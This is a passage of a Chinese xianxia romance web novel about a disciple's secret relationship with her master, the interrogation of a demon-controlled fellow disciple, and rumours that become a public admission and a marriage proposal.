“我就是回去一趟,现在我要睡了。”她走到床边,自己盖上被子,看着没动的师尊。
辞镜看了她片刻起身,走向她身边,“你先睡吧,师尊还需沐浴。”
居然还没沐浴,沐月点点头,那您去吧。
等他回来时一切沐月已经入睡,睡得很安稳,辞镜坐在床边看着睡得恬然的她,伸手轻轻触碰了一下她的脸。
是真实的。
看了她如此一夜,拂晓看见窗外微微光亮,他才睡去。
清晨,沐月睡得半梦半醒之间睁开双眼,睡梦中也全是司命的话,如此一醒来便睡不着了。
往日这时候早该起床的师尊却还安睡着,沐月被师尊抱着想要动一动换个方向,却发现师尊的神情隐有不安。
沐月伸出指尖碰了碰师尊的微蹙的眉头,却一直没有将其抚平。
怎么回事呢。
梦中,辞镜看到了本该全然陌生但他又好似十分熟悉的记忆。
云端修筑的雕梁画栋却空荡的宫殿,走在云雾中成群的婢女,装束华丽贵重的沈风吟……
却始终没有沐月的身影。
辞镜猛然睁开双眼,他看向身侧,却空无一人。
身旁的热度好似早已散去,他有些分不清现实与梦境,沐月昨夜是否来他这儿了。
辞镜外袍未披,瞬移至楼下,却见沐月正坐在窗边,只是安静地看着窗外。
感应到视线,沐月回头看见师尊,脸上扬起笑容。
可还未来得及喊师尊,他已经将她牢牢抱在怀里,低头便去吻她。
师尊的手臂搂紧她的腰肢,沐月满脸茫然却并未拒绝师尊的吻,可这次的吻似乎有些难以控制。
她不知所措,在感觉身体腾空后,她立即搂紧师尊,慌乱的她被抱着坐在了窗台上,沐月搂住师尊的脖颈偏头想要避开他的亲吻,告诉他自己得去上学了。
可她避不开。
沐月背靠打开的木窗,身前便是师尊,她不敢往后倒,只能紧张地迎接师尊的吻。
某一刻,她感觉揽在她腰上的手更紧了,沐月双眼湿润,脸红心跳,想去抓他的头发,却被师尊单手握住手腕,她却始终未能成功将师尊推开。
沐月迷迷糊糊,不知师尊为何突然如此。
*
一切停下来已是一刻钟后,沐月浑身发软靠在师尊怀里,她始终混乱不知师尊为何突然这般,这般让她难以招架。
“师尊,我要去上学,可现在……”现在都迟了。
“师尊接到消息,说今日休整一日,明日再开课。”辞镜气息也有些不稳,他的薄薄的唇上有一个小小的伤口,是在方才沐月情急之下咬的。
“这样么。”她都没怎么看玉牌,也不知是否有了新的通知。
她心里稍稍放松了一些,她们刚刚分明是在白日宣淫,若还迟到了,她会羞愧而死!
虽不知师尊为何如此,沐月却也不排斥,反而,反而心里怪雀跃的,她居然挺喜欢师尊这样对她,时常温柔的人像今日这般,沐月扫了眼脸上不似往日那般端方清雅,眼中染着沉沉欲色的师尊,她的脸又红了。
手忙脚乱从他怀里起身,“师尊虽然今日临时休息,但我还是不能懈怠,得需修炼提升自己的实力。”
辞镜对此没有说话。
“您不是还要处理储殷的事情么。”思及此,她心里那些有的没的情绪一并消失,也不知是个什么结果。
思来想去,她主动道:“师尊我想去看看。”
“我能和你一起去吗?”
她想看看现在储殷过得如何,此事又会是什么结果。
“嗯,想去便去吧。”
他知晓这些朋友们在沐月心中的位置。
其实他想说,储殷或许一开始就是带着目的接近她,但或许她早已想到。
储殷被关押一事知晓之人少之又少,目前事情并不明朗,不可让太多人知晓引起恐
慌,便是长老们也是不知的,唯有沐月和辞镜和掌门得知此事。
三人前往秘密关押储殷地下石室,避免被更多的人知晓并未将他关在大牢。
进入长长的通道,出现一个小型的石室,此地唯有辞镜和掌门才能将其打开。
沐月也不知师尊做了什么,一阵沉闷的响声传来,一臂宽的石门缓缓打开,她看到了被铁链锁住的储殷,身边布满天罡阵,他微垂着头不知是否清醒。
还是之前在擎云门的那身弟子服,身上不见伤痕,衣裳也还算整齐,只是整个人浑身笼罩着一层说不清的情绪。
听到脚步声他微微抬头,看向三人前来的方向,脸色略微苍白可以瞧见他的疲态,但很快又再次垂下了头。
储殷脖子上曾经带着的项链正在辞镜手中,坠子是一粒圆珠,应当是不凡的法器,里面封存的魔息已在擎云门被辞镜打散,他身上的魔气皆由此产生,而非体内携带魔气,这也是他没被察觉出魔气屡次逃过清脉和护山大阵的原因。
目前他又成了一个寻常弟子,只是残存的魔气依旧提醒着他被入侵过的事实。
“本尊已搜寻过你的记忆,你无需再隐瞒。”辞镜轻声道。
闻言储殷立即抬头看向他,但很快又垂下头去。
他没敢看沐月的目光,只一味保持沉默。
“你体内的蚀心蛊可以操控你,但我已提前将其逼出,你不必再有所顾虑。”
可辞镜不管如何说,他拒不供认他的目的,他所做的一些,只是保持沉默。
辞镜自然可以动用搜魂,但并非所有人都可以,他自可以假借搜魂编造事实,唯有储殷自己供认并通过问心琉璃盏才可以算作是证据。
“师尊,我能和他说说吗?”沐月主动问。
辞镜看了她一眼,示意掌门与他一同出去。
石门合上,沐月看向不语的储殷。
斟酌了许久才道:“储殷,你之前……”她想问他是否是有意接近她的,那次在柳城突然对她那样,是否也是想假借此种方式让她放下防备,然后接近师尊呢。
之前他想方设法也要成为师尊的弟子,接近他的方式被她抢去,接近她再以此接近师尊似乎是最佳方式。
可她其实已经知晓答案,只是还没有听见储殷的回答,无法彻底证实罢了。
“沐月,一切都是我做的,你回去吧。”他的嗓音极为干涩,说这话时眼神闪躲不敢直视沐月的双眼。
“我与你相处了这么多年,知道你的为人,若你是被胁迫,说出事情经过宗门会从轻处罚。”
虽然他给师尊下无情丝这一点确实让她难以原谅,以后她也必定心怀芥蒂,可这件事总要解决的,这不仅是储殷一人之事,还关乎整个万剑宗和人界。
沐月又劝了好一会儿,储殷始终不为所动,她也不知该说什么。
什么也没问出,三人只得折返。
路上沐月还在担心此事有些走神,辞镜握住她的手,“没事的,总会解决。”
沐月侧过身看向他,“师尊,你可有烦心之事?”
她并非只因储殷一事,她还担心师尊,司命所说的妄心劫她实在不知如何去询问。
“烦心?”辞镜重复了一遍她的话。
“嗯,或者有什么担心的,忧虑之事。”
“阿月你不会想知道的。”辞镜看着沐月的黑白分明的眼睛轻声道。
他想要剥夺她结交朋友的权利,想要占有她的所有时间,烦心她关心别人,嫉妒她与别人说笑。
还担心……她只是因司命的文字而在意他关心他。
辞镜知晓自己想法的偏激,可他却无法控制自己去想,甚至想付出行动。
他并非正人君子,不,应该说,他甚至比许多人要恶劣。
谁也不知,外人眼里清风朗月无欲无求的玉翎仙尊,心中却藏着一头随时会冲破牢笼的肮脏猛兽。
第55章 第55章承认
沐月终究还是没有问到师尊的答案,只是那样看着她的师尊让她有些不安和忐忑。
今日前去询问储殷但是并未得到任何回答,也不知他是否打定了主意隐瞒,沐月无法静下心躺在床上也没有丝毫睡意。
她看着沐浴完的师尊走近,自觉地窝入他的怀中,“师尊。”
“嗯?”辞镜轻声应着她。
“师尊。”
“在呢。”
沐月心烦意乱也睡不着,但一时也不知该和师尊说什么。
她到底该怎么自然地问出他的妄念为何物呢。
师尊似乎也不像是会被实力所困之人。
但问问总是没有差错的。
“师尊,我有时会担心自己实力太弱,你都已经大乘境呢,会有这样的顾虑吗?”
辞镜认真思索后才道:“暂且不会。”
若是在之前他是会担心的,会担心自己无法护好阿月,但他离飞升之差临门一脚,他也不愿飞升,至少目前他是无需担心的,但是在未来他也不确定是否会生出顾虑。
“那你现在会因为修炼心生困扰吗?”这个问题沐月曾经问过,但她现在还是忍不住问,之前没有不代表现在没有。
“极少,阿月你为何突然问起这个,你可是修炼上遇到阻碍?”
“暂时没有,只是好奇师尊的事情所以问问。”
“那师尊你之前为何会吐血呢?”
那日她发现不对回到师尊卧房看见他陷入昏迷,也是那时司命告知她师尊的妄心劫正式开始,或许正是师尊深陷在忧虑之中才会如此,就是不知师尊是否愿意与她提及。
“就是师伯前来为你看病那次。”
辞镜知晓了沐月所说的究竟为何事。
那夜他看见了沐月的玉牌,看到她的好友灵犀给她发来的传讯,提及了沐月心系沈风吟。
他担心沐月会喜欢上旁人,会置他这个师尊于不顾,他妄想沐月的生活中只有他一人。
“阿月,你为何要在意这些?”
方才也是,她问的问题他无法回答,此时的他依旧不知该如何回她。
沐月看出了他的迟疑,或许她问对了方向。
她打算乘胜追击争取在今夜就问到答案,可师尊只是看着她却始终不回答她的问题。
“师尊,是有什么不能回答的么?”
是的,他无法回答。
至少目前是的,他知晓沐月如今对他如此并非非他不可,任意一点风吹草动或许都会吓到她让她退却,辞镜唯有努力控制才能勉强压下心中的躁动。
“以后你会知晓的。”辞镜道。
“现在为何不能说呢?”
“阿月听话。”
沐月瘪嘴,“那好吧。”
可是司命说师尊情况危急,她哪里等得了。
“师尊,你有什么愿望吗?我答应你一个愿望好不好,你若是说什么,我都想办法为你实现好不好?”
沐月嘴上答应,但还是在试探。
“可是当真?”辞镜静静看着面前满脸笑容的女孩,伸手轻轻捏了捏她软乎乎的脸颊。
“当真!”
师尊总不能让她杀人放火,“不过违背道德事情我不干。”
说完她才意识到问题,她似乎已经干了违背道德之事,毕竟她以下犯上可是大忌,现如今她又与师尊举止亲密,这被外人知晓可是会戳着脊梁骨骂的呀。
虽然她一直认为自己和师尊藏得足够好就不会被发现,但她其实在心里隐隐做好了准备,毕竟一旦决定开始一段关系总是要考虑后果。
“……”辞镜听见沐月的补充,跳动的心渐渐沉寂。
违背道德。
师徒关系是她们永远也不可跨越的那道鸿沟。
问出师尊虚妄为何物的第一日,失败。
沐月睡前告诉自己明日继续努力。
可每日都是如此告诉自己,她就像是一只被眼前胡萝卜吊着的驴,过了不知多少
日依旧没能问到她想要的答案,每日她都会询问司命师尊的情况,确保天河石的裂缝没有继续扩大才稍微安心。
入夜,辞镜又做梦了。
他梦见了一个陌生之人,可他又觉得熟悉,有人唤他司命。
画面一转,他看见了一株在风中摇晃含苞欲放的粉白莲花。
辞镜醒来时沐月还安睡在他身侧,他脑中不断出现梦中那株莲花,他看向沐月头顶又冒出的招摇的小花,不受控制地伸出手去,可在即将触碰到花瓣时他又将手收回。
*
这几日风平浪静,沐月每日都会前往石室,可储殷还是老样子不过进步的是,他好歹是愿意多说两句了。
事情重大,若储殷一直不愿意说,宗门会派出几位长老搜寻储殷的记忆,最后再统一核对长老们的写下的笔录是否一致,都一致再进行问心琉璃盏便能视作证据,但搜魂带来的后果是不可逆的,光是一人搜魂对被搜魂者都是极大的伤害,况且是好几个人一起。
沐月着急却没有任何办法。
“为什么不能说?你开不开口区别无非就是你要冒着痴傻或失忆甚至魂体残缺的风险接受宗门刑法,还是在身体健全时接受惩处。你接近我,接近师尊,甚至我猜测,之前我跌落山崖与你也分不开关系,你想要忘记,那我呢,你接近我接近我师尊,这些都可以因为你忘记一笔勾销吗?”
储殷立即抬头,皱眉看着沐月立即解释:“不是我。”
“不是你什么?”
“你跌落山崖不是我。”
沐月自然知晓不是他。
“只有你最想我死,只有我死了,你就有可能成为我师尊的徒弟不是吗?”
“不是,我从未这么想……我从未这么做过。”
“我没有想过要害你。”那次沐月被魔气袭击并非是他主动,而是被体内的噬心蛊控制,等他得知自己做了什么之后依旧来不及了。
他无法否认最初在认识沐月之前他动过这样的念头,只要她死了,他就还有机会,但他并未付出行动,随后这样的念头也再也没有动过。
“那只是你的一面之词,自然你想否认就否认。”
“……”
“你要如何才能信?”
他不想他们这么多年的相处被她归结于利用,别有所图。
“你既不说出你与魔族之前的事情,我又如何信你,又如何让我能够相信你对我没有坏心。”
说到这里,储殷已经明白沐月的目的,她只是想要他说出所有事情。
明白的他再次保持沉默。
沐月见他如此有些抓狂,也不知他为何如此坚持,是觉得对不起她想要承担所有还是认为如此能够减轻自己的罪孽。
她实在不知该如何劝,时间已经不早了,师尊还在外等候,沐月最终选择顺其自然,若他执意如此那她也毫无办法。
长久的沉默后沐月转身离开,在踏出门之前她道:“你以为如此能够减轻你的罪孽,可你从未想过我与灵犀,你自以为是,自私自利,从未想过我们可能永远长时间生活在痛苦之中。”
说完沐月转身离去。
“如何?”辞镜问她,尽管他并不愿意沐月为此人担心,为此人耗费心力,可他也无法阻止。
沐月泄气摇头。
储殷太倔了,也不知在坚持什么,若始终无法改变那她也毫无办法,该做的她都做了,若他执意如此她也无法干涉。
因为储殷消失一事弟子们都在猜测,沐月为了稳住灵犀借口找了无数。
说他出门历练了,说他历练时间有些长,灵犀问他去哪里历练,她只能随口说一个,但按照灵犀的敏锐度早已发现了不对,只是知晓沐月并非有意瞒着她,便也没有多问。
弟子们对此倒是不怎么关心,但他们关心的是为何早早回来。
不过正值天泉湖秘境开启,掌门顺水推舟组织弟子前往,既能让弟子历练,又能暂时打消他们的疑虑稳住弟子,幸好辞镜提及了秘境一事,不然掌门要寻找合理的借口还当真耗费心神。
沐月并未前往,她因为储殷和师尊的事情暂时无心去做其他事情。
这天河石也不知哪日就碎了,如此一来师尊的历劫只能以失败告终,司命说会危及司命性命,沐月不敢大意。
储殷不愿说出真相,师尊那边她也没有进展,大师兄就更不用说了,他压根没有任何要渡情劫的征兆,他爱剑如命,又是修习的无情道,他从小的经历导致他怕根本是无心情爱,不然又为何会在正值青春年华的十九岁义无反顾地选择修习无情道,于他而言只是实力无法被人踩在脚下才是他的毕生追求。
任何事情都没有实力来得可靠。
沐月担心他或许修炼至无上境界渡劫飞升或许也无法陷入情爱之中。
也不怪宗门上下的长老都说他是修习无情道的最佳人选。
将他拉入情爱似乎才是对他的残忍,所以分明就不会被情爱牵绊之人为何非要渡这情劫呢,不是本末倒置么?
她不懂,却也无法干涉天界的晋升规则。
*
风平浪静的一日突然被一则传言打破,沐月还在睡梦之中,对此毫不知情。
玉牌放在枕边,连续的震动让她皱了皱眉,却没有彻底醒来。
辞镜拿过沐月枕边的玉牌,率先看到灵犀给沐月发来的传讯,与此同时,掌门给他的传音也在同一时间抵达。
扫过玉牌上的文字,辞镜留下几行字,也收起了沐月的玉牌,在没有惊动她的情况下离开。
宗门正殿。
辞镜走进珠玉堆砌的大殿,却见掌门神情严肃地在案前负手来回走动。
他看见辞镜前来连忙上前,“师兄你可知晓那些谣言了?”
掌门正准备详细说明,辞镜却道:“我已知晓。”
他一顿,随即开口:“此事我几日前就有听见风声,已经派人去查,源头是在柳城的一家酒楼传出,听说是则一黑衣男子重金蛊惑那说书先生说了此事,但并未指名道姓,可传来传去竟传到你头上。”
“师兄你放心,必定是有人故意如此,那黑衣人宗门找寻许久都未能找到他的踪影,但必定逃不掉,谣言已经越闹越大,不过一夜之间宗门弟子之间竟大肆传谣,竟说你与沐月……虽然荒唐但我想着你也应当知晓此事。”
“现如今也没有更好的堵住悠悠众口的方式,只有找出那黑衣男子告知外界是有人故意抹黑,才是最佳之策。”
若短时间无法找到,就只能考虑其他方式,证实彼此并不喜欢,但要辞镜和别的女子接触必定不可能,便是造假也是不可取的,便只能在沐月身上入手。
“此前擎云门掌门似乎有意让海晏清与沐月接触,这边可以考虑,如此一来那些人自然也不会再胡乱猜测,但就怕海晏清那边也认为谣言为真,或许可以从身边之人的人入手,既可以让别人信服,又能让其配合,我思来想去,沐月的大师兄沈风吟最为合适,对外就说沐月心系她大师兄沈风吟。”
“等风头一过,大家便也忘了,大师兄你看如何?”
掌门越觉这事万全之策,也寻找那黑衣男子让他说出真相也不冲突。
他还欲再说,却见辞镜神色莫名,掌门以为他是因那荒谬的传言动怒,正打算多说几句,却听辞镜说:“不必了。”
“可……虽清者自清,师兄你不在意此事,但此事牵连甚广,况且沐月一个小姑娘又如何面对?”
“此事并非谣言。”
掌门愣了一下,有些费解,用了足足数十秒才理解辞镜所言之意。
“师兄,你这……”
“他们所说不假,但不同的是,是我强求逼迫阿月,而非是众人口中的师徒苟且,若我要强求,她又如何阻拦?”
“师兄,望你慎重。”
掌门还是不大相信,辞镜的为人怎会强迫自己的徒弟。
“此事我会出面,你无需操心。”辞镜道。
他出面若是说出这番言论,不知会掀起何等轩然大波,掌门想要喊住他,但辞镜已经在他眼前消失。
不管外界如何添油加醋地说起师徒二人的风流韵事,万剑宗弟子们却始终不大相信,在他们心中那宛若明辉不可触及的仙尊怎会做出此等行径。
他便是雪瑶仙子都拒绝了,哪里是会动心之人,况且还是对自己从小养育大的徒弟动心。
师徒之恋是不可触碰的禁忌,即便他动了心弟子们也不认为他付出行动。
大家都是如此认为,可灵犀却担心得坐立不安,离星洲也盯着玉牌上的不断刷新的传言,看不出情绪,他丧失了一段记忆,可他的潜意识告诉他两人的关系不简单。
这究竟是否是谣言呢。
沐月的玉牌被师尊收走,她还是在上学时才得知此事,看见灵犀玉牌上弟子们谈论的内容,她比想象中的要平静很多。
她和师尊做过的事情远比他们谈论中的亲密。
灵犀在那日知晓沐月对她师尊的感情并非单纯的师徒之谊,却不知她师尊是如何想的,所以她也不知这则传言是真是假。
沐月的玉牌不在身边也无法联系上师尊,他的本命令牌在她手上,可她却不知该如何和师尊说。
灵犀也不知该不该问,思来想去还是没问,若是沐月想说必然是会说的。
她深色如常上完课,在她面前倒是没有太多弟子讨论此事,沐月一放学便回到戚雪峰,她进门就看见了师尊。
沐月停下脚步,远远地看着他。
“回来了。”
“嗯师尊我回来了。”
她想说师尊是否知晓他们所说之事,慢慢走到师尊身边,可还没来得及问,师尊就牵过她的手主动道:“师尊知晓那些传言了,阿月你是怎么想的。”
他是希望如掌门所说的那般澄清么?辞镜没有与沐月对视,而是看向她的手指,轻轻捏着她的指腹。
“我……”她也说不清楚。
若没被人发现也就罢了,但如今已经有了传言,这次澄清那下次呢?除非她决定再也不与师尊过多接触,彻底斩断与他的关系。
辞镜久久未能听见沐月的回答。
“我不怕。”事到如今她反而不慌张了,事情再坏又能坏到哪里,而且或许她也不会在这里停留太久。
只是她担心师尊会被唾骂,被抹黑。
辞镜闻言手一顿,抬眸看向沐月的眼睛,“真的不怕吗?”
“不怕。”
连她自己都没意识到,在决定与师尊在一起那日她就已经提前做好了准备。
“嗯,师尊知道了。”辞镜眉眼皆是温柔的笑意。
沐月坐到师尊腿上,伸手环住他的脖子,贴着他轻声道:“可是我担心他们会骂你。”
“师尊也不怕的,所以阿月你放心。”辞镜轻轻抚弄沐月的长发。
“那我们现在怎么办呢?”沐月有些迷茫,是放任吗?
“师尊会解决的,你只需安心上课,无人敢在你面前多说什么。”辞镜轻声安慰,他抱着腿上的女孩起身走向二楼。
次日沐月果真没有听见其他人乱传,至少在宗门弟子群里暂时无人谈论,她不清楚私下如何,但至少她感觉自己又回到最初的时候,仿佛这件事并未发生过。
可她却没想到,师尊主动站出来承认了此事。
但他只承认了一半。
外界虽然传闻两人的不伦之恋,并未提及是哪方主动,但仍旧有许多人将脏水泼给了沐月,说是她故意勾引师尊,若非如此仙尊怎会被她着了道。
而辞镜出来便是承认他与沐月之间的事情为真。
但皆是由他主动,是他强求,是他对自己的徒弟生出了肮脏的念头,也是他强迫沐月与他在一起,而非他们所说的是沐月主动引诱。
当他表态后,万剑宗几乎所有人都处于震惊状态,可是却不敢多说,只能在四下无人时和同伴谈论此事。
沐月盯着师尊在宗门告示上阐明了此事的详细经过,表明确实是他主动为之,沐月只是被迫接受。
虽是在万剑宗内部的告示,但消息流通的速度极快便传递至其他城池,不过一日便人尽皆知。
沐月跑去找到师尊,“师尊你为什么要这么说?分明不是的。”
若非是她主动将他灌醉深夜潜入师尊的卧房,若非是她中了合欢香主动引诱师尊,让他被迫配合,一切都都不会发生,明明都是因为她。
“他们不敢对我做什么,所以阿月你无需担心的,再多段时日他们就会忘记这一切。”
可即便如此,他也知晓沐月必然也会受人非议。
若可以,他其实想与沐月离开此地,去一个无人认识他们,也无人知晓他们师徒身份的地方,可沐月不会愿意的。
沐月没有反驳师尊的话,可她却在计划着澄清。
与师尊相拥着渡过一夜,她早早起床,在弟子群里澄清此事。
她说她与师尊两情相悦,并非师尊所说的胁迫强求,最初也是因她主动师尊才会动心,这件事的根源在她。
辞镜的言论已经将掌门打了个措手不及,让他根本不知该如何是好,这次沐月又站出来说了此事。
弟子们面面相觑。
若是之前仙尊的话能信,确实是他强求,可这次沐月又主动将责任揽到她身上,此事可就完全不同了。
仙尊如此或许只是为了保护沐月。
而沐月如此,或许只是不想让师尊被人唾骂。
怎么怪心酸的。
“要我说,我对师徒恋倒是没什么不能接受的,都是那些老古板在嘴上念叨着伦理纲常,礼义廉耻,我看沐月日日恍惚,何至于此。”
“我也觉得是。”
有人附和但沉默的是大多数,世俗的言论有时是杀人的利器,轻而易举就能将人摧毁。
不管如何,这次也算是误打误撞,让人对沐月和辞镜的师徒恋产生了些许同情和心酸,反对的声音小了一些,但也仅此而已。
沐月一回去就被师尊抱进怀里,她微怔,想说些什么但师尊显然没给她任何机会。
师尊的吻落在她的唇瓣,沐月搂着师尊的腰,安静被师尊吻着。
“阿月。”
“唔。”沐月抽空回应师尊。
为何要解释,沐月的举动,让他更是万劫不复。
“我们成婚好么?”
告知外界他们的决心,他们不只是师徒,还是想要在天道的见证下结为道侣相伴一生的夫妻。
被吻得迷蒙的沐月突然清醒。
成婚?这是她从未想过之事,和师尊成婚吗?沐月下意识想到与师尊成婚的场面,似乎不排斥,单未免太快了。
“你是如何想的,是愿意还是有所顾虑,都如实告诉师尊可好?”
沐月茫然道:“我不知道,我还小呢。”
她不想这么早成婚。
但,如果是师尊,似乎也还不错?
第56章 第56章梦魇
对于师尊想要与她成婚的请求沐月并未答应,但也没拒绝。
“师尊,你让我想想。”
辞镜牵着沐月的手,轻轻应了声。
“师
尊我想先回自己房中的一趟,很快就上来。”
辞镜没有问她回去做什么,放开了牵着沐月的手。
和师尊说完沐月走进自己房中,她还有事情询问司命。
将门合上,她唤出司马命。
【司命,师尊想让我与他成婚,我能答应吗?】
【等等……你什么时候和你师尊发展到这个地步了?】
沐月有点心虚,她原本是要给大师兄历情劫来着,但他不是没有半点心动的样子吗。
【谁叫你之前搞错了对象,我都对师尊那样了,还怎么挽回,况且你也不能剥夺我喜欢谁的权利吧。】
【……】
【之前让你帮你师尊渡情劫你是百般不愿意,罢了,不说这些,你若是确认与你成婚并非是你师尊的妄心劫诱因,答应便也答应了。】
【真的?】
【前提是你确认你师尊的妄念为其他。】司命略一思索,【你师尊的妄心劫不会与你有关吧?】
这个她还真不能确定,应该不是这个吧。
【以防万一你最好还是不要答应,再观察一段时间看看。】
【你说的有道理,但我也不知该如何判断,若我答应了师尊,天河石上的裂痕更重了应当就代表是?可这未免太过冒险。】
【任何事都伴随风险,你自行斟酌,本君也看开了,终归是神尊自己的历劫,我们能做的并不多,你也不要太过烦心,顺其自然吧。】
之前做了如此多到头来都是一场空,甚至努力错了方向,连神尊是渡妄心劫还是情劫都将其弄错,有些事情或许天意如此,旁人干预或许也无法改变。
沐月听见司命的话也有些迷茫了,事情到了现在她确实不知该如何去做。
【本君先离开了,之前承诺的你的东西本君不会忘的,你放心便是。】
沐月看着司命消失在房中,她沐浴完回到二楼,师尊坐在床上看书,沐月站在门口远远地看着他,对上师尊抬起的双眸,她起身走去,脱掉鞋子上了床搂着师尊的腰静静抱着他。
辞镜看了她半晌,放下书摸了摸沐月的头发,“师尊说的成婚,阿月你不用急着给我回答,所以也不要为此烦心好么?”
沐月埋头在师尊的腰间,“师尊我其实是愿意的,只是,只是我还没做好准备。”
她既没有做好准备,也担心她答应师尊后会让他的妄心劫更加难渡,虽然极有可能师尊的劫难与成婚并无关系,但她无法肯定,自然是担心的。
“嗯,师尊知道。”
“阿月,储殷在最后一日松口了。”
沐月一愣,抬头看向师尊,“他说了?”
“嗯,你想听么?”
“要!”
她想知晓储殷为何如此,是否一开始进入万剑宗就是带着目的,还有他背后之人究竟是如何操控他的。
“储殷身世皆是造假,从他有记忆开始他的体内便被植入噬心蛊,所有意识皆被背后操纵噬心蛊之人控制,但渐渐他的意识觉醒开始脱离噬心蛊的控制,但为了不被背后之人发现只得隐藏,他只知晓此人并非人界之人,那人的目标也一直是我,上次你在宗门外被魔气入侵也是想借你将魔气传递到我的识海。灵茶中的无情丝也是他一手谋划,他虽没有特意提及,但我能够如此轻易发现无情丝或许是他故意为之,他有千万种方法能够悄无声息地让我服下。”
辞镜特意隐瞒了一些事情,关于天界关于历劫。
沐月越听神色越发严肃,并非人界之人,又能操纵魔气,若不出意外便是魔族了,此人又针对的是师尊,那和她之前的猜测对得上。
此这背后之人是否是知晓师尊下界历劫趁机想要重伤他?
沐月陷入思索,但偏偏师尊险些中招的两次都是因为她,若是是她,师尊也不会放松警惕。
司命恐怕并不知晓此事,她得尽快和他说明,或许司命知晓关键。
“师尊,那宗门给储殷的处罚出来了么?”
虽然储殷是受人控制,但他所做之事为实,他也一直没有尝试过向宗门揭露此事,他是主动坦白了他对沐月和辞镜险些造成的伤害,不可能会安然无恙,只是或许会尽可能从轻处罚。
“暂时还未出来,但鞭刑必然是逃不过的。”
鞭刑并非普通的戒鞭,而是特质的法器,即便只是皮肉之苦也足以让人痛不欲生。
“但无性命之虞,也不会废除他的所有修为,这对他而言已经是最轻的处罚。”
万剑宗向来眼里揉不得沙子,这次已经算是网开一面。
“我知道。”
沐月有些恍惚,曾经和她们日日相处之人竟与魔族勾结,之前储殷突然对她做出亲密之举,吓得她以为是……现在来看,她倒是宁愿储殷是动了那个心思,而非是因魔族而接近她。
沐月为了分散自己的注意力,多日耽搁并未练剑的她课业结束后去了云落阁。
多日不练竟有些生疏,她气喘吁吁坐在桌边休息,来了这儿她才恍然想起自己和师尊的事情已经闹得人尽皆知,大师兄必然也是知晓的。
早知道她就不来了,怪尴尬的,只希望大师兄不要提起此事。
“师妹,你和师尊之间的事情,可想好往后怎么走了么?”
沈风吟看着眼前的沐月,还有曾经在他面前总是极有距离感的师尊,他神色有些不自然,比起沐月他显得要更加尴尬些。
不过,若两人当真两情相悦,他对此也没有什么想法,只是觉得有些不真实,还有一丝说不清道不明的失落,但这丝情绪很快随风消失。
沐月和师尊是他最亲之人,自然希望他们能够得到幸福。
“我也不知道。”沐月端着手里的茶杯,水放凉了也未入口,她很迷茫,司命说顺其自然,她更是不清楚未来到底会变成何种模样。
“那师妹你可是喜欢师尊的?”应当是喜欢的,不然为何会站出来承认和师尊的关系。
“喜欢的。”
“既然喜欢那就顺从本心吧,怎么想的,就怎么去做,总归时间还长不着急。”
“在这戚雪峰,你有师尊也有我这个师兄,所以不管外界如何会谈论,师妹你都无需担心。”
是呀,她拥有好多别人不曾拥有的东西。
“谢谢师兄。”今日过来一趟,虽然和大师兄也并未聊太多,但她这心情却好了许多。
她看向大师兄,也不知他的情劫该怎么办。
“大师兄,你可有喜欢之人?”沐月不由试探地问,若是没有的话,也不知之后是否会遇到。
沈风吟看着眼前好奇的沐月,微愣,从未有人问过他这样的问题,他也从未思考过这样的问题,因为没必要,毕竟几乎认识他的所有人都知晓他修的无情道,自然默认他不会生出情爱,也永远会孤身一人。
喜欢……什么是喜欢,他只知晓他在意眼前的沐月,希望她能过得无忧无虑,这应当是喜欢,只是和世人眼中的喜欢似乎并不相同,喜欢并无分别,不管是是兄妹之间的亲情,还是爱情。
只一瞬间,曾经朦胧的感情突然好像清晰了。
“有吧,我应当是喜欢师妹你的。”
啊?
沐月听见师兄的回答傻了,看着眼前认真的大师兄,她更觉虚幻,是她理解的那种喜欢吗?
“我会担心你的安危,会关心你情绪,会想与你独处,也会在遇到关于师妹你的事情时想起你,也会留意你喜欢之物,这想必就是喜欢。”
“好像,好像是的。”沐月脑子乱成一团乱麻。
但又她又觉得哪里不太对,大师兄这过于坦然的反应让她有些茫然。
应该是她误解了吧,大师兄这也不像是喜欢她的表现啊,若是喜欢肯定忍不住去争去抢,他对她分明就是师兄对师妹。
“师妹你为何问起此事?”沈风吟看着她。
“那个,就是好奇修习无情道是否会断情绝爱。”
“无情道其实并非无情,只是看破红尘放下执念,释怀之人不被外物所牵绊,而非冷漠地对待周围的一切,修习无情道也不会影响我的感情,只是如此后我看待感情的方式或许会与常人不同。”
别人或许会深陷其中,但他可能是选择放下和释然。
所以他若是该产生感情还是产生感情,只有悟透才能在无情道一路上长久地走下去。
“那个,大师兄你对我是对师妹的喜欢吧?”沐月再三犹豫还是忍不住问。
沈风吟思索片刻才道:“若师妹你要如此理解,也可以算是。”
完了,大师兄这意思好像并非普通的师兄妹之谊。
但奇怪的是她并未因此觉得尴尬或者不自在,或许是大师兄的态度过于坦然。
他并未因此产生任何困扰他自己的情绪,沐月自问自己做不到,她会患得患失,若是喜欢一个人后会纠结是否要告诉他,被困扰许久。
“不过你无需担心,还是如往常那般就好。”沈风吟宽慰沐月。
“我没有啦,只是有点惊讶。”
“那就好。”沈风吟看着面前恍惚的沐月,之前没有意识到对她的感情,现在看来还有些奇妙 。
“天色有些晚了,可要回去了?”沈风吟看了眼天边的落日。
他知晓沐月在师尊心中的分量,再不回去师尊该着急了。
师尊似乎因为他和沐月的关系心生不满,他或许一直都知晓,只是一直在忽略,他从未想过自己举动的缘由,今日被沐月点破他突然领悟,似乎正是因为他内心深处那说不清道不明的感情在作祟。
“确实有些晚了,那大师兄我先走了,下次再来找你。”
“好,路上走慢些。”
沐月活泼的背影在余晖下消失,沈风吟收回了自己的视线,面庞依旧是柔和的,之前的他下意识排斥别人的靠近,也经常面无表情地对待别人,可现在他变了许多。
沈风吟周围的灵力涌动,他身形一顿,之前那始终无法触碰仿佛被一层无形的结界阻隔开的壁垒似乎隐隐松动,他立即闭眼,就地打坐修炼。
与此同时,命劫大殿内沈风吟的那块红色的天河石发出璀璨光芒,几乎照亮了整个大殿。
*
沐月回去时并未看到师尊的身影,她取出玉牌一看,发现师尊早早和她说过去处理储殷惩处一事。
这个时间她正好可以问问司命是否知晓操纵储殷的背后之人是谁。
她正想问,谁知司命也正好找她。
【沐月,你做什么了?】
【?】
【你大师兄的情劫开始了!】
【……】沐月今日三番两次地震惊,所以大师兄确实喜欢她?真的假的。
【最令我惊讶的是,他的情劫刚开始便结束。】
【啊?这什么意思?】
【意思是你大师兄这情劫渡得太过顺利,我怎么也没想到他竟然会如此快,本来都不抱任何希望了。】
这简直是意外之喜。
【你成功助太……咳咳,助你大师兄成功历劫,好处少不了你的。】
